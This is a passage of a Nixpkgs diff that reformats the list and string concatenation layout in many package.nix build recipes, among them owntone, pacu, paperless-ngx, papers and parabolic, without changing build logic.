-      # Install final executable
-      install -m 755 -d "$out/bin"
-      makeWrapper "$out/libexec/ovftool" "$out/bin/ovftool" \
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      --prefix LD_LIBRARY_PATH : "$out/lib"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      --prefix DYLD_LIBRARY_PATH : "$out/lib"
-    ''
-    + ''
-      runHook postInstall
-    '';
+    # Install final executable
+    install -m 755 -d "$out/bin"
+    makeWrapper "$out/libexec/ovftool" "$out/bin/ovftool" \
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    --prefix LD_LIBRARY_PATH : "$out/lib"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    --prefix DYLD_LIBRARY_PATH : "$out/lib"
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   preFixup =
     lib.optionalString stdenv.hostPlatform.isLinux ''
diff --git a/pkgs/by-name/ow/owl-compositor/package.nix b/pkgs/by-name/ow/owl-compositor/package.nix
index 95e664b19889..926a4ea6f1c3 100644
--- a/pkgs/by-name/ow/owl-compositor/package.nix
+++ b/pkgs/by-name/ow/owl-compositor/package.nix
@@ -36,27 +36,25 @@ stdenv.mkDerivation {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      wayland-scanner
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      darwin.DarwinTools
-      darwin.bootstrap_cmds
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      wrapGNUstepAppsHook
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    wayland-scanner
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    darwin.DarwinTools
+    darwin.bootstrap_cmds
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    wrapGNUstepAppsHook
+  ];
 
-  buildInputs =
-    [
-      libxkbcommon
-      wayland
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      gnustep-back
-    ];
+  buildInputs = [
+    libxkbcommon
+    wayland
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    gnustep-back
+  ];
 
   preConfigure = ''
     mkdir -p build
diff --git a/pkgs/by-name/ow/owmods-cli/package.nix b/pkgs/by-name/ow/owmods-cli/package.nix
index 082265addff8..b155d4b1f461 100644
--- a/pkgs/by-name/ow/owmods-cli/package.nix
+++ b/pkgs/by-name/ow/owmods-cli/package.nix
@@ -31,16 +31,16 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [
     pkg-config
     installShellFiles
-  ] ++ lib.optional wrapWithMono makeWrapper;
+  ]
+  ++ lib.optional wrapWithMono makeWrapper;
 
-  buildInputs =
-    [
-      zstd
-      libsoup_3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      openssl
-    ];
+  buildInputs = [
+    zstd
+    libsoup_3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    openssl
+  ];
 
   env = {
     ZSTD_SYS_USE_PKG_CONFIG = true;
@@ -48,16 +48,15 @@ rustPlatform.buildRustPackage rec {
 
   buildAndTestSubdir = "owmods_cli";
 
-  postInstall =
-    ''
-      cargo xtask dist_cli
-      installManPage dist/cli/man/*
-      installShellCompletion --cmd owmods \
-      dist/cli/completions/owmods.{bash,fish,zsh}
-    ''
-    + lib.optionalString wrapWithMono ''
-      wrapProgram $out/bin/${meta.mainProgram} --prefix PATH : '${mono}/bin'
-    '';
+  postInstall = ''
+    cargo xtask dist_cli
+    installManPage dist/cli/man/*
+    installShellCompletion --cmd owmods \
+    dist/cli/completions/owmods.{bash,fish,zsh}
+  ''
+  + lib.optionalString wrapWithMono ''
+    wrapProgram $out/bin/${meta.mainProgram} --prefix PATH : '${mono}/bin'
+  '';
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/ow/owncloud-client/package.nix b/pkgs/by-name/ow/owncloud-client/package.nix
index 1ff93232c75a..57c181ea394b 100644
--- a/pkgs/by-name/ow/owncloud-client/package.nix
+++ b/pkgs/by-name/ow/owncloud-client/package.nix
@@ -37,20 +37,19 @@ stdenv.mkDerivation rec {
     qt6Packages.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      sqlite
-      libsecret
-      qt6Packages.qtbase
-      qt6Packages.qtsvg # Needed for the systray icon
-      qt6Packages.qtkeychain
-      libre-graph-api-cpp-qt-client
-      kdsingleapplication
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libinotify-kqueue
-      sparkleshare
-    ];
+  buildInputs = [
+    sqlite
+    libsecret
+    qt6Packages.qtbase
+    qt6Packages.qtsvg # Needed for the systray icon
+    qt6Packages.qtkeychain
+    libre-graph-api-cpp-qt-client
+    kdsingleapplication
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libinotify-kqueue
+    sparkleshare
+  ];
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/ow/owntone/package.nix b/pkgs/by-name/ow/owntone/package.nix
index e6460bdcb471..7e755a54a027 100644
--- a/pkgs/by-name/ow/owntone/package.nix
+++ b/pkgs/by-name/ow/owntone/package.nix
@@ -57,28 +57,27 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      avahi
-      curl
-      ffmpeg
-      gettext
-      json_c
-      libconfuse
-      libevent
-      libgcrypt
-      libgpg-error
-      libplist
-      libsodium
-      libunistring
-      libwebsockets
-      libxml2
-      protobufc
-      sqlite
-      zlib
-    ]
-    ++ lib.optionals chromecastSupport [ gnutls ]
-    ++ lib.optionals pulseSupport [ libpulseaudio ];
+  buildInputs = [
+    avahi
+    curl
+    ffmpeg
+    gettext
+    json_c
+    libconfuse
+    libevent
+    libgcrypt
+    libgpg-error
+    libplist
+    libsodium
+    libunistring
+    libwebsockets
+    libxml2
+    protobufc
+    sqlite
+    zlib
+  ]
+  ++ lib.optionals chromecastSupport [ gnutls ]
+  ++ lib.optionals pulseSupport [ libpulseaudio ];
 
   configureFlags =
     lib.optionals chromecastSupport [ "--enable-chromecast" ]
diff --git a/pkgs/by-name/p4/p4/package.nix b/pkgs/by-name/p4/p4/package.nix
index 68af1ce3c04c..90aaf12731d0 100644
--- a/pkgs/by-name/p4/p4/package.nix
+++ b/pkgs/by-name/p4/p4/package.nix
@@ -58,27 +58,26 @@ stdenv.mkDerivation (finalAttrs: {
 
   hardeningDisable = lib.optionals stdenv.hostPlatform.isDarwin [ "strictoverflow" ];
 
-  jamFlags =
-    [
-      "-sEXEC=bin.unix"
-      "-sCROSS_COMPILE=${stdenv.cc.targetPrefix}"
-      "-sMALLOC_OVERRIDE=no"
-      "-sSSLINCDIR=${lib.getDev opensslStatic}/include"
-      "-sSSLLIBDIR=${lib.getLib opensslStatic}/lib"
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      "-sOSCOMP=clang"
-      "-sCLANGVER=${stdenv.cc.cc.version}"
-    ]
-    ++ lib.optionals stdenv.cc.isGNU [
-      "-sOSCOMP=gcc"
-      "-sGCCVER=${stdenv.cc.cc.version}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ "-sOSVER=26" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-sOSVER=1013"
-      "-sLIBC++DIR=${lib.getLib stdenv.cc.libcxx}/lib"
-    ];
+  jamFlags = [
+    "-sEXEC=bin.unix"
+    "-sCROSS_COMPILE=${stdenv.cc.targetPrefix}"
+    "-sMALLOC_OVERRIDE=no"
+    "-sSSLINCDIR=${lib.getDev opensslStatic}/include"
+    "-sSSLLIBDIR=${lib.getLib opensslStatic}/lib"
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    "-sOSCOMP=clang"
+    "-sCLANGVER=${stdenv.cc.cc.version}"
+  ]
+  ++ lib.optionals stdenv.cc.isGNU [
+    "-sOSCOMP=gcc"
+    "-sGCCVER=${stdenv.cc.cc.version}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ "-sOSVER=26" ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-sOSVER=1013"
+    "-sLIBC++DIR=${lib.getLib stdenv.cc.libcxx}/lib"
+  ];
 
   CCFLAGS =
     # The file contrib/optimizations/slide_hash_neon.h is missing from the
diff --git a/pkgs/by-name/pa/pacemaker/package.nix b/pkgs/by-name/pa/pacemaker/package.nix
index 7f8133a537e5..b271be6bcd94 100644
--- a/pkgs/by-name/pa/pacemaker/package.nix
+++ b/pkgs/by-name/pa/pacemaker/package.nix
@@ -73,7 +73,8 @@ stdenv.mkDerivation rec {
     "--with-corosync"
     # allows Type=notify in the systemd service
     "--enable-systemd"
-  ] ++ lib.optional (!forOCF) "--with-ocfdir=${ocf-resource-agents}/usr/lib/ocf";
+  ]
+  ++ lib.optional (!forOCF) "--with-ocfdir=${ocf-resource-agents}/usr/lib/ocf";
 
   installFlags = [ "DESTDIR=${placeholder "out"}" ];
 
diff --git a/pkgs/by-name/pa/packcc/package.nix b/pkgs/by-name/pa/packcc/package.nix
index 182413401fb3..3693a9ef57f4 100644
--- a/pkgs/by-name/pa/packcc/package.nix
+++ b/pkgs/by-name/pa/packcc/package.nix
@@ -44,15 +44,14 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  preCheck =
-    ''
-      # Style tests will always fail because upstream uses an older version of
-      # uncrustify.
-      rm -rf ../../tests/style.d
-    ''
-    + lib.optionalString stdenv.cc.isClang ''
-      export NIX_CFLAGS_COMPILE+=' -Wno-error=strict-prototypes -Wno-error=int-conversion'
-    '';
+  preCheck = ''
+    # Style tests will always fail because upstream uses an older version of
+    # uncrustify.
+    rm -rf ../../tests/style.d
+  ''
+  + lib.optionalString stdenv.cc.isClang ''
+    export NIX_CFLAGS_COMPILE+=' -Wno-error=strict-prototypes -Wno-error=int-conversion'
+  '';
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/pa/pacu/package.nix b/pkgs/by-name/pa/pacu/package.nix
index 14ee0c3ab078..eaeb78383394 100644
--- a/pkgs/by-name/pa/pacu/package.nix
+++ b/pkgs/by-name/pa/pacu/package.nix
@@ -34,26 +34,27 @@ python.pkgs.buildPythonApplication rec {
 
   build-system = with python.pkgs; [ poetry-core ];
 
-  dependencies =
-    [ awscli ]
-    ++ (with python.pkgs; [
-      awscli
-      boto3
-      botocore
-      chalice
-      dsnap
-      jq
-      policyuniverse
-      pycognito
-      pyyaml
-      qrcode
-      requests
-      sqlalchemy
-      sqlalchemy-utils
-      toml
-      typing-extensions
-      urllib3
-    ]);
+  dependencies = [
+    awscli
+  ]
+  ++ (with python.pkgs; [
+    awscli
+    boto3
+    botocore
+    chalice
+    dsnap
+    jq
+    policyuniverse
+    pycognito
+    pyyaml
+    qrcode
+    requests
+    sqlalchemy
+    sqlalchemy-utils
+    toml
+    typing-extensions
+    urllib3
+  ]);
 
   nativeCheckInputs = with python.pkgs; [
     moto
diff --git a/pkgs/by-name/pa/pagmo2/package.nix b/pkgs/by-name/pa/pagmo2/package.nix
index 1948ad97b4df..0d214f558843 100644
--- a/pkgs/by-name/pa/pagmo2/package.nix
+++ b/pkgs/by-name/pa/pagmo2/package.nix
@@ -29,24 +29,24 @@ stdenv.mkDerivation rec {
     nlopt
     boost
     tbb
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) ipopt;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) ipopt;
 
-  cmakeFlags =
-    [
-      "-DPAGMO_BUILD_TESTS=${if runTests then "ON" else "OFF"}"
-      "-DPAGMO_WITH_EIGEN3=yes"
-      "-DPAGMO_WITH_NLOPT=yes"
-      "-DNLOPT_LIBRARY=${nlopt}/lib/libnlopt${stdenv.hostPlatform.extensions.sharedLibrary}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-DPAGMO_WITH_IPOPT=yes"
-      "-DCMAKE_CXX_FLAGS='-fuse-ld=gold'"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # FIXME: fails ipopt test with Invalid_Option on darwin, so disable.
-      "-DPAGMO_WITH_IPOPT=no"
-      "-DLLVM_USE_LINKER=gold"
-    ];
+  cmakeFlags = [
+    "-DPAGMO_BUILD_TESTS=${if runTests then "ON" else "OFF"}"
+    "-DPAGMO_WITH_EIGEN3=yes"
+    "-DPAGMO_WITH_NLOPT=yes"
+    "-DNLOPT_LIBRARY=${nlopt}/lib/libnlopt${stdenv.hostPlatform.extensions.sharedLibrary}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-DPAGMO_WITH_IPOPT=yes"
+    "-DCMAKE_CXX_FLAGS='-fuse-ld=gold'"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # FIXME: fails ipopt test with Invalid_Option on darwin, so disable.
+    "-DPAGMO_WITH_IPOPT=no"
+    "-DLLVM_USE_LINKER=gold"
+  ];
 
   doCheck = runTests;
 
diff --git a/pkgs/by-name/pa/pahole/package.nix b/pkgs/by-name/pa/pahole/package.nix
index b75d39b34f57..111abf1f80ec 100644
--- a/pkgs/by-name/pa/pahole/package.nix
+++ b/pkgs/by-name/pa/pahole/package.nix
@@ -24,16 +24,15 @@ stdenv.mkDerivation rec {
     cmake
     pkg-config
   ];
-  buildInputs =
-    [
-      elfutils
-      zlib
-      libbpf
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [
-      argp-standalone
-      musl-obstack
-    ];
+  buildInputs = [
+    elfutils
+    zlib
+    libbpf
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [
+    argp-standalone
+    musl-obstack
+  ];
 
   patches = [
     # https://github.com/acmel/dwarves/pull/51 / https://lkml.kernel.org/r/20240626032253.3406460-1-asmadeus@codewreck.org
diff --git a/pkgs/by-name/pa/palp/package.nix b/pkgs/by-name/pa/palp/package.nix
index 7e1e3db79760..b50bfacfa477 100644
--- a/pkgs/by-name/pa/palp/package.nix
+++ b/pkgs/by-name/pa/palp/package.nix
@@ -43,19 +43,18 @@ stdenv.mkDerivation rec {
     EOF
   '';
 
-  installPhase =
-    ''
-      mkdir -p $out/bin
-      for file in poly class cws nef mori; do
-        cp -p $file.x "$out/bin/$file-${dim}d.x"
-      done
-    ''
-    + lib.optionalString doSymlink ''
-      cd $out/bin
-      for file in poly class cws nef mori; do
-        ln -sf $file-6d.x $file.x
-      done
-    '';
+  installPhase = ''
+    mkdir -p $out/bin
+    for file in poly class cws nef mori; do
+      cp -p $file.x "$out/bin/$file-${dim}d.x"
+    done
+  ''
+  + lib.optionalString doSymlink ''
+    cd $out/bin
+    for file in poly class cws nef mori; do
+      ln -sf $file-6d.x $file.x
+    done
+  '';
 
   meta = with lib; {
     description = "Package for Analyzing Lattice Polytopes";
diff --git a/pkgs/by-name/pa/pam_p11/package.nix b/pkgs/by-name/pa/pam_p11/package.nix
index 504b31fe7557..8532cdfec899 100644
--- a/pkgs/by-name/pa/pam_p11/package.nix
+++ b/pkgs/by-name/pa/pam_p11/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation rec {
     pam
     libp11.passthru.openssl
     libp11
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libintl ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libintl ];
 
   meta = with lib; {
     homepage = "https://github.com/OpenSC/pam_p11";
diff --git a/pkgs/by-name/pa/pan/package.nix b/pkgs/by-name/pa/pan/package.nix
index 401426f34205..7c5e25dddff8 100644
--- a/pkgs/by-name/pa/pan/package.nix
+++ b/pkgs/by-name/pa/pan/package.nix
@@ -43,18 +43,17 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      gtk3
-      gmime3
-      libnotify
-      gnutls
-    ]
-    ++ lib.optionals spellChecking [ gspell ]
-    ++ lib.optionals gnomeSupport [
-      libsecret
-      gcr
-    ];
+  buildInputs = [
+    gtk3
+    gmime3
+    libnotify
+    gnutls
+  ]
+  ++ lib.optionals spellChecking [ gspell ]
+  ++ lib.optionals gnomeSupport [
+    libsecret
+    gcr
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "WANT_GSPELL" spellChecking)
diff --git a/pkgs/by-name/pa/pantheon-tweaks/package.nix b/pkgs/by-name/pa/pantheon-tweaks/package.nix
index e90b3365cadc..45712cda3897 100644
--- a/pkgs/by-name/pa/pantheon-tweaks/package.nix
+++ b/pkgs/by-name/pa/pantheon-tweaks/package.nix
@@ -36,20 +36,19 @@ stdenv.mkDerivation rec {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      gnome-settings-daemon # org.gnome.settings-daemon.plugins.xsettings
-      gtk4
-      libgee
-      pango
-    ]
-    ++ (with pantheon; [
-      elementary-files # io.elementary.files.preferences
-      elementary-terminal # io.elementary.terminal.settings
-      granite7
-      switchboard
-      wingpanel-indicator-sound # io.elementary.desktop.wingpanel.sound
-    ]);
+  buildInputs = [
+    gnome-settings-daemon # org.gnome.settings-daemon.plugins.xsettings
+    gtk4
+    libgee
+    pango
+  ]
+  ++ (with pantheon; [
+    elementary-files # io.elementary.files.preferences
+    elementary-terminal # io.elementary.terminal.settings
+    granite7
+    switchboard
+    wingpanel-indicator-sound # io.elementary.desktop.wingpanel.sound
+  ]);
 
   mesonFlags = [
     "-Dsystheme_rootdir=/run/current-system/sw/share"
diff --git a/pkgs/by-name/pa/pantum-driver/package.nix b/pkgs/by-name/pa/pantum-driver/package.nix
index 79719279b29d..a2dc7a2d3b8f 100644
--- a/pkgs/by-name/pa/pantum-driver/package.nix
+++ b/pkgs/by-name/pa/pantum-driver/package.nix
@@ -40,22 +40,21 @@ stdenv.mkDerivation rec {
     autoPatchelfHook
   ];
 
-  installPhase =
-    ''
-      dpkg-deb -x ./Resources/pantum_${version}-1_${architecture}.deb .
+  installPhase = ''
+    dpkg-deb -x ./Resources/pantum_${version}-1_${architecture}.deb .
 
-      mkdir -p $out $out/lib
-      cp -r etc $out/
-      cp -r usr/lib/cups $out/lib/
-      cp -r usr/local/lib/* $out/lib/
-      cp -r usr/share $out/
-      cp Resources/locale/en_US.UTF-8/* $out/share/doc/pantum/
-    ''
-    + lib.optionalString enablePtqpdf ''
-      cp -r opt/pantum/* $out/
-      ln -s $out/lib/libqpdf.so* $out/lib/libqpdf.so
-      ln -s $out/lib/libqpdf.so $out/lib/libqpdf.so.21
-    '';
+    mkdir -p $out $out/lib
+    cp -r etc $out/
+    cp -r usr/lib/cups $out/lib/
+    cp -r usr/local/lib/* $out/lib/
+    cp -r usr/share $out/
+    cp Resources/locale/en_US.UTF-8/* $out/share/doc/pantum/
+  ''
+  + lib.optionalString enablePtqpdf ''
+    cp -r opt/pantum/* $out/
+    ln -s $out/lib/libqpdf.so* $out/lib/libqpdf.so
+    ln -s $out/lib/libqpdf.so $out/lib/libqpdf.so.21
+  '';
 
   meta = with lib; {
     description = "Pantum universal driver";
diff --git a/pkgs/by-name/pa/paperjam/package.nix b/pkgs/by-name/pa/paperjam/package.nix
index ca9cbffd062d..de735a8f1bc5 100644
--- a/pkgs/by-name/pa/paperjam/package.nix
+++ b/pkgs/by-name/pa/paperjam/package.nix
@@ -21,7 +21,8 @@ stdenv.mkDerivation (finalAttrs: {
     qpdf
     libpaper
     asciidoc
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   makeFlags = [
     "PREFIX=$(out)"
diff --git a/pkgs/by-name/pa/paperless-ngx/package.nix b/pkgs/by-name/pa/paperless-ngx/package.nix
index cc48408b1790..3b308e2f385a 100644
--- a/pkgs/by-name/pa/paperless-ngx/package.nix
+++ b/pkgs/by-name/pa/paperless-ngx/package.nix
@@ -73,25 +73,23 @@ let
         hash = "sha256-yoTXlxXLcWD2DMxqjb02ZORJ+E0xE1DbZm1VL7vXM4g=";
       };
 
-      nativeBuildInputs =
-        [
-          node-gyp
-          nodejs_20
-          pkg-config
-          pnpm.configHook
-          python3
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          xcbuild
-        ];
+      nativeBuildInputs = [
+        node-gyp
+        nodejs_20
+        pkg-config
+        pnpm.configHook
+        python3
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        xcbuild
+      ];
 
-      buildInputs =
-        [
-          pango
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          giflib
-        ];
+      buildInputs = [
+        pango
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        giflib
+      ];
 
       CYPRESS_INSTALL_BINARY = "0";
       NG_CLI_ANALYTICS = "false";
diff --git a/pkgs/by-name/pa/papers/package.nix b/pkgs/by-name/pa/papers/package.nix
index afa12ce2a4d5..9bde28639f3a 100644
--- a/pkgs/by-name/pa/papers/package.nix
+++ b/pkgs/by-name/pa/papers/package.nix
@@ -74,29 +74,28 @@ stdenv.mkDerivation (finalAttrs: {
     rustPlatform.cargoSetupHook
   ];
 
-  buildInputs =
-    [
-      dbus # only needed to find the service directory
-      djvulibre
-      exempi
-      gdk-pixbuf
-      glib
-      gtk4
-      gsettings-desktop-schemas
-      libadwaita
-      libarchive
-      librsvg
-      libsysprof-capture
-      libspelling
-      pango
-      poppler
-    ]
-    ++ lib.optionals withLibsecret [
-      libsecret
-    ]
-    ++ lib.optionals supportNautilus [
-      nautilus
-    ];
+  buildInputs = [
+    dbus # only needed to find the service directory
+    djvulibre
+    exempi
+    gdk-pixbuf
+    glib
+    gtk4
+    gsettings-desktop-schemas
+    libadwaita
+    libarchive
+    librsvg
+    libsysprof-capture
+    libspelling
+    pango
+    poppler
+  ]
+  ++ lib.optionals withLibsecret [
+    libsecret
+  ]
+  ++ lib.optionals supportNautilus [
+    nautilus
+  ];
 
   mesonFlags =
     lib.optionals (!withLibsecret) [
@@ -111,15 +110,14 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail '=papers-thumbnailer' "=$out/bin/papers-thumbnailer"
   '';
 
-  preFixup =
-    ''
-      gappsWrapperArgs+=(
-        --prefix XDG_DATA_DIRS : "${shared-mime-info}/share"
-      )
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install_name_tool -add_rpath "$out/lib" "$out/bin/papers"
-    '';
+  preFixup = ''
+    gappsWrapperArgs+=(
+      --prefix XDG_DATA_DIRS : "${shared-mime-info}/share"
+    )
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install_name_tool -add_rpath "$out/lib" "$out/bin/papers"
+  '';
 
   postFixup = ''
     # Cannot be in postInstall, otherwise _multioutDocs hook in preFixup will move right back.
diff --git a/pkgs/by-name/pa/pappl/package.nix b/pkgs/by-name/pa/pappl/package.nix
index bd10878aca6f..b38308f9eaac 100644
--- a/pkgs/by-name/pa/pappl/package.nix
+++ b/pkgs/by-name/pa/pappl/package.nix
@@ -34,23 +34,22 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      cups
-      libjpeg
-      libpng
-      libusb1
-      zlib
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      # upstream mentions these are not needed for Mac
-      # see: https://github.com/michaelrsweet/pappl#requirements
-      avahi
-      gnutls
-    ]
-    ++ lib.optionals withPAMSupport [
-      pam
-    ];
+  buildInputs = [
+    cups
+    libjpeg
+    libpng
+    libusb1
+    zlib
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    # upstream mentions these are not needed for Mac
+    # see: https://github.com/michaelrsweet/pappl#requirements
+    avahi
+    gnutls
+  ]
+  ++ lib.optionals withPAMSupport [
+    pam
+  ];
 
   # testing requires some networking
   # doCheck = true;
diff --git a/pkgs/by-name/pa/parabolic/package.nix b/pkgs/by-name/pa/parabolic/package.nix
index 4f7c4b109e7b..77b29df9ca2c 100644
--- a/pkgs/by-name/pa/parabolic/package.nix
+++ b/pkgs/by-name/pa/parabolic/package.nix
@@ -51,38 +51,36 @@ stdenv.mkDerivation (finalAttrs: {
                      "@CMAKE_INSTALL_FULL_BINDIR@/@PROJECT_NAME@"
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      gettext
-      ninja
-      pkg-config
-      itstool
-      yelp-tools
-    ]
-    ++ lib.optionals (uiPlatform == "gnome") [
-      wrapGAppsHook4
-      blueprint-compiler
-      glib
-      shared-mime-info
-    ]
-    ++ lib.optional (uiPlatform == "qt") qt6.wrapQtAppsHook;
+  nativeBuildInputs = [
+    cmake
+    gettext
+    ninja
+    pkg-config
+    itstool
+    yelp-tools
+  ]
+  ++ lib.optionals (uiPlatform == "gnome") [
+    wrapGAppsHook4
+    blueprint-compiler
+    glib
+    shared-mime-info
+  ]
+  ++ lib.optional (uiPlatform == "qt") qt6.wrapQtAppsHook;
 
-  buildInputs =
-    [
-      libnick
-      boost
-    ]
-    ++ lib.optionals (uiPlatform == "qt") [
-      qt6.qtbase
-      qt6.qtsvg
-    ]
-    ++ lib.optionals (uiPlatform == "gnome") [
-      glib
-      gtk4
-      libadwaita
-      libxmlxx5
-    ];
+  buildInputs = [
+    libnick
+    boost
+  ]
+  ++ lib.optionals (uiPlatform == "qt") [
+    qt6.qtbase
+    qt6.qtsvg
+  ]
+  ++ lib.optionals (uiPlatform == "gnome") [
+    glib
+    gtk4
+    libadwaita
+    libxmlxx5
+  ];
 
   cmakeFlags = [
     (lib.cmakeFeature "UI_PLATFORM" uiPlatform)
diff --git a/pkgs/by-name/pa/parted/package.nix b/pkgs/by-name/pa/parted/package.nix
index f01ce55da3bd..c1c3c4fbaa80 100644
--- a/pkgs/by-name/pa/parted/package.nix
+++ b/pkgs/by-name/pa/parted/package.nix
@@ -45,11 +45,12 @@ stdenv.mkDerivation rec {
     patchShebangs tests
   '';
 
-  buildInputs =
-    [ libuuid ]
-    ++ lib.optional (readline != null) readline
-    ++ lib.optional (gettext != null) gettext
-    ++ lib.optional (lvm2 != null) lvm2;
+  buildInputs = [
+    libuuid
+  ]
+  ++ lib.optional (readline != null) readline
+  ++ lib.optional (gettext != null) gettext
+  ++ lib.optional (lvm2 != null) lvm2;
 
   configureFlags =
     (if (readline != null) then [ "--with-readline" ] else [ "--without-readline" ])
diff --git a/pkgs/by-name/pa/particl-core/package.nix b/pkgs/by-name/pa/particl-core/package.nix
index 51204fd92634..a5ba857db4d3 100644
--- a/pkgs/by-name/pa/particl-core/package.nix
+++ b/pkgs/by-name/pa/particl-core/package.nix
@@ -51,14 +51,13 @@ stdenv.mkDerivation rec {
     python3
   ];
 
-  configureFlags =
-    [
-      "--disable-bench"
-      "--with-boost-libdir=${boost.out}/lib"
-    ]
-    ++ lib.optionals (!doCheck) [
-      "--enable-tests=no"
-    ];
+  configureFlags = [
+    "--disable-bench"
+    "--with-boost-libdir=${boost.out}/lib"
+  ]
+  ++ lib.optionals (!doCheck) [
+    "--enable-tests=no"
+  ];
 
   # Always check during Hydra builds
   doCheck = true;
diff --git a/pkgs/by-name/pa/partio/package.nix b/pkgs/by-name/pa/partio/package.nix
index 9c2cc4c91f7e..8ecc6e40cbe2 100644
--- a/pkgs/by-name/pa/partio/package.nix
+++ b/pkgs/by-name/pa/partio/package.nix
@@ -38,18 +38,17 @@ stdenv.mkDerivation rec {
     python3
   ];
 
-  buildInputs =
-    [
-      zlib
-      swig
-      xorg.libXi
-      xorg.libXmu
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libglut
-      libGLU
-      libGL
-    ];
+  buildInputs = [
+    zlib
+    swig
+    xorg.libXi
+    xorg.libXmu
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libglut
+    libGLU
+    libGL
+  ];
 
   # TODO:
   # Sexpr support
diff --git a/pkgs/by-name/pa/pax-britannica/package.nix b/pkgs/by-name/pa/pax-britannica/package.nix
index bb99f2a5f510..468d2fb5ed6b 100644
--- a/pkgs/by-name/pa/pax-britannica/package.nix
+++ b/pkgs/by-name/pa/pax-britannica/package.nix
@@ -27,29 +27,28 @@ stdenv.mkDerivation {
     hash = "sha256-j69di+3P+vaFzv8Zke1MdABMkLtknTNvlfPk1YVUfmU=";
   };
 
-  patches =
-    [
-      (fetchpatch {
-        url = "https://sources.debian.org/data/main/p/pax-britannica/1.0.0-5/debian/patches/compile_for_linux.patch";
-        hash = "sha256-XncjmJrBakz5/w90O6rDif2rWSoAVKzuPEj9wN2VNvQ=";
-      })
-      (fetchpatch {
-        url = "https://sources.debian.org/data/main/p/pax-britannica/1.0.0-5/debian/patches/add_manpage.patch";
-        hash = "sha256-c8O6t0Zv/ln7WiPdbN3sYGsb7SL9Rmeo+94DsjpfgvY=";
-      })
-      (fetchpatch {
-        url = "https://sources.debian.org/data/main/p/pax-britannica/1.0.0-5/debian/patches/load_resources_from_usr_share.patch";
-        hash = "sha256-61Yt4Rq1I/Ofu640XsDDo0il275B+ozqH0Z6P18XT6Q=";
-      })
-      (fetchpatch {
-        url = "https://sources.debian.org/data/main/p/pax-britannica/1.0.0-5/debian/patches/add_desktop_entry.patch";
-        hash = "sha256-QSQEBoCw7KTOLgy7TaFvQRpR17HoggTOCxhfTG+kIOA=";
-      })
-    ]
-    ++ lib.optional useGlfw3 (fetchpatch {
-      url = "https://sources.debian.org/data/main/p/pax-britannica/1.0.0-5/debian/patches/glfw3.patch";
-      hash = "sha256-hj00vnW/i7lxFc4CGlRz6Havkg45gGgIg6MmCXcMsSg=";
-    });
+  patches = [
+    (fetchpatch {
